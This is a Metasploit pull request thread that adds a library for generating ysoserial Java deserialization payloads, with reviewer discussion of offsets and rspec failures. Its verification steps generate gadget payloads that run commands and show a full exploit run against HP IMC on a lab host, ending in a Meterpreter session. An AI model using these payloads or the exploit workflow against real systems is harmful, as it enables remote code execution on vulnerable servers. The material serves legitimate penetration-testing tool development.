Import and generate dynamic `ysoserial` Java serialization objects

[asoto-r7]

Overview

Problem: Some exploit modules targeting Java deserialization vulnerabilities use "blobs" like Base64 strings, which make the code difficult to read, change, and verify. Personally, I spent a full day reverse engineering a recent Java serialized object, understanding ysoserial, and recreating a verified "blob" to land PR #10947. And yet, despite my comments and notes, it will be difficult for the next person to understand or modify. And so...

Proposed solution: To make Java serialized objects more easily readable and adaptable, this PR adds support for importing and generating dynamic objects from ysoserial and hopefully fixes #10057). Rather than invoking ysoserial directly (and all the Java overhead that would entail), this PR uses a once-run Docker container. The docker container will output a JSON file (data/ysoserial_payloads.json) containing the relevant binary and offsets so that a Metasploit library can quickly generate a dynamic Java serialized object.

Current Status

Ready for landing. Pending @wchen-r7's review.

Considerations for future work:

• Finish support ysoserial-modified.jar with it's bash, cmd, and powershell variations.
• Support templates with complex inputs (eg. Myfaces2 which requires a <base_url>:<classname> formatted string or URLDNS which requires a URL).

Feedback welcome! Thanks! 😃

Verification

• Please review lib/msf/util/java_deserialization.rb to identify code that significantly contradicts our current or best practices.

• Change directory to the tools/payloads/ysoserial.

# cd ~/git/r7/metasploit-framework/
# cd tools/payloads/ysoserial

• Test the JSON building script.

# cat ./runme.sh
# ./runme.sh

• Observe a handful of errors from 8 (currently unsupported) complex payloads, but 22 successfully generated payloads.

 DONE!  Successfully generated 0 static payloads and 22 dynamic payloads.  Skipped 8 unsupported payloads.

• Confirm the output of the JSON file looks like properly formatted JSON and the 'data' object Base64-decodes to valid Java serialization data.

# jq -r '.["BeanShell1"]["bytes"]' ../../../data/ysoserial_payloads.json | base64 -d > /tmp/pr11125.bin
# file /tmp/pr11125.bin
# rm /tmp/pr11125.bin

• Confirm that the above command successfully extracted a Java serialization payload.

 /tmp/pr11125.bin: Java serialization data, version 5

• Make sure the library works when manually invoked from msfconsole. For example, to generate and write to file a CommonsBeanutils1 that invokes ls:

# msfconsole -qx 'pry'
pry> bytes = ::Msf::Util::JavaDeserialization.ysoserial_payload("CommonsBeanutils1","ls")
pry> File.open("/tmp/CommonsBeanutils1_ls.metasploit.dat", 'wb') { |file| file.write(bytes) }
=> 2763

• Generate a known-good ysoserial payload for comparison:

# wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
# java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "ls" > /tmp/CommonsBeanutils1_ls.ysoserial.dat
WARNING: [...]

• Confirm that the diff only outputs the randomized timestamp embedded by ysoserial.

# xxd /tmp/CommonsBeanutils1_ls.ysoserial.dat > /tmp/CommonsBeanutils1_ls.ysoserial.hex
# xxd /tmp/CommonsBeanutils1_ls.metasploit.dat > /tmp/CommonsBeanutils1_ls.metasploit.hex
# diff /tmp/CommonsBeanutils1_ls.ysoserial.hex /tmp/CommonsBeanutils1_ls.metasploit.hex
117,120c117,120
< 00000730: 6170 5461 626c 6501 001e 7973 6f73 6572  apTable...ysoser
< 00000740: 6961 6c2f 5077 6e65 7232 3630 3339 3132  ial/Pwner2603912
< 00000750: 3431 3533 3534 3231 0100 204c 7973 6f73  41535421.. Lysos
< 00000760: 6572 6961 6c2f 5077 6e65 7232 3630 3339  erial/Pwner26039
< 00000770: 3132 3431 3533 3534 3231 3b00 2100 0200  1241535421;.!...
---
> 00000730: 6170 5461 626c 6501 001e 6d73 4c54 5770  apTable...msLTWp
> 00000740: 3269 5236 436a 4a43 4879 3445 7249 6c45  2iR6CjJCHy4ErIlE
> 00000750: 6869 7a56 7264 4239 0100 204c 6d73 4c54  hizVrdB9.. LmsLT
> 00000760: 5770 3269 5236 436a 4a43 4879 3445 7249  Wp2iR6CjJCHy4ErI
> 00000770: 6c45 6869 7a56 7264 4239 3b00 2100 0200  lEhizVrdB9;.!...
# rm /tmp/CommonsBeanutils1_ls*

• Confirm that length and buffer offsets appear in the JSON:

# cd ~/git/metasploit-framework
# echo -n "Length Offset for Clojure: "; jq '.["Clojure"]["lengthOffset"][]' -r data/ysoserial_payloads.json
Length Offset for Clojure: 897
# echo -n "Buffer Offset for Clojure: "; jq '.["Clojure"]["bufferOffset"][]' -r data/ysoserial_payloads.json
Length Offset for Clojure: 942

• Confirm that length offsets function as expected, including overflowing into the upper byte:

# msfconsole -qx 'pry'
pry> ::Msf::Util::JavaDeserialization.ysoserial_payload("Clojure","")[896..897].unpack('H*')
=> ["002e"]
pry> ::Msf::Util::JavaDeserialization.ysoserial_payload("Clojure","A")[896..897].unpack('H*')
=> ["002f"]
::Msf::Util::JavaDeserialization.ysoserial_payload("Clojure","A"*210)[896..897].unpack('H*')
=> ["0100"]

• Confirm that buffer offsets function as expected:

# msfconsole -qx 'pry'
pry> ::Msf::Util::JavaDeserialization.ysoserial_payload("Clojure","")[941..942]
=> "\"\""
pry> ::Msf::Util::JavaDeserialization.ysoserial_payload("Clojure","calc.exe")[941..951]
=> "\"calc.exe\")"

• Finally, please confirm that the updated hp_imc_java_deserialize module works with the new updates:

msf5> use exploit/windows/http/hp_imc_java_deserialize
msf5 exploit(windows/http/hp_imc_java_deserialize) > set RHOSTS 192.168.199.152
RHOSTS => 192.168.199.152
msf5 exploit(windows/http/hp_imc_java_deserialize) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/http/hp_imc_java_deserialize) > check

[*] Verifying vulnerability by sending synchronous sleep command (5250 bytes)...
[+] Response received after 10 seconds.
[+] 192.168.199.152:8080 - The target is vulnerable.
msf5 exploit(windows/http/hp_imc_java_deserialize) > exploit

[*] Started reverse TCP handler on 192.168.199.137:4444 
[*] Sending serialized Java object (11205 bytes)...
[*] Sending stage (179779 bytes) to 192.168.199.152
[*] Meterpreter session 1 opened (192.168.199.137:4444 -> 192.168.199.152:50782) at 2019-01-04 17:13:57 -0600

meterpreter > sysinfo
Computer        : DESKTOP-Q05UKIU
OS              : Windows 10 (Build 16299).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > exit

[wchen-r7]

You might wanna rename your file findYsoserialOffsets.rb to find_ysoserial_offsets.rb to maintain consistency.

[asoto-r7]

@wchen: Thanks! I've renamed the helper script and added Wiki documentation. This PR is now ready for final review and potential landing.

[wchen-r7]

I'll give this a try. Thank you!

[wchen-r7]

Hi @asoto-r7, I have submitted a pull request to you for the rspec. You can find it here:
asoto-r7#2

Please let me know when you have resolved the issue with hp_imc_java_deserialize.rb not getting a session, and then I'll take a look at the PR again. Thank you!

[asoto-r7]

@wchen-r7: It's ready to go! I've also updated the testing steps above to provide a more thorough walkthrough.

The most significant bug was that when I randomized ysoserial fingerprintable strings, I was off-by-one in my character count.

(TANGENT: However, along the way, I had to troubleshoot offsets and values of both ysoserial and ysoserial-modified objects. To aid in that, I've added support for ysoserial-modified in the JSON generator only. It may well be worth finding a way to support both ysoserial and ysoserial-modified, but you should know that ysoserial-modified with the none parameter is not the same as ysoserial.)

To support future debugging, I've added a -m flag to the find_ysoserial_offsets.rb script, which uses ysoserial-modified and requires a terminal type (none, cmd, powershell, or bash). Additionally, I added a -d flag which suppresses normal output, but shows the offsets, payload lengths, and base values for each length offset. For example, here's a snippet of the JSON1 object:

$ cd tools/payloads/ysoserial/
$ docker build -t ysoserial-payloads . && docker run -it ysoserial-payloads /bin/bash
root@ae278276e52a:/# ruby find_ysoserial_offsets.rb -d
[...]
Generating payloads for JSON1...
  LENGTH OFFSET:  2646 = 0x0696
  LENGTH OFFSET:  3835 = 0x0000
  BUFFER OFFSETS: [3836]
  PAYLOAD LENGTH: 5222
[...]

[wchen-r7]

Cool thanks! I think when you were updating your code, rspec went out of date again: https://travis-ci.org/rapid7/metasploit-framework/jobs/475527324#L2480

Could you please take a look at that? Something related to this:

     ArgumentError:
       BeanShell1 payload not found in ysoserial payloads

[asoto-r7]

@wchen-r7: I've spent the day arguing with rspec and rake locally to no avail. Your rspec looks alright to me, and I didn't change anything that would hurt this test case. Do you see anything wrong with this?

when payload status is dynamic when a command is provided returns serialized data

... should reference this in the spec/lib/msf/util/java_deserialization_spec.rb file:

    context 'when payload status is dynamic' do
      let(:payload_name) do
        'BeanShell1'
      end
[...]
      context 'when a command is provided' do
        it 'returns serialized data' do
          default_command = 'id'
          p = Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)
          expect(p).to include('java.awt.event')
        end
      end

So, testing that manually:

msf5> pry
pry> p = Msf::Util::JavaDeserialization::ysoserial_payload("BeanShell1","id")
pry> p.include?("java.awt.event")
=> true

Looks fine to me! What am I missing?

[asoto-r7]

Jenkins test this please

EDIT: Thanks for nothing, I guess?

[asoto-r7]

@wchen: Thanks for the rspec, especially since it caught that I had locally updated the JSON file, but committed a version that didn't contain all the payloads. The tests are passing now and it's ready for testing. I apologize for the delay.

[wchen-r7]

I will try again. Thanks!

[wchen-r7]

Exploit is working for me with this patch. Let me look around a bit more and then I'll try to land it. Pretty busy today w/ meetings but I think I should be able to do this today.

[wchen-r7]

Release Notes

This adds support for importing and generating dynamic objects from ysoserial to make Java serialized objects more easily readable and adaptable.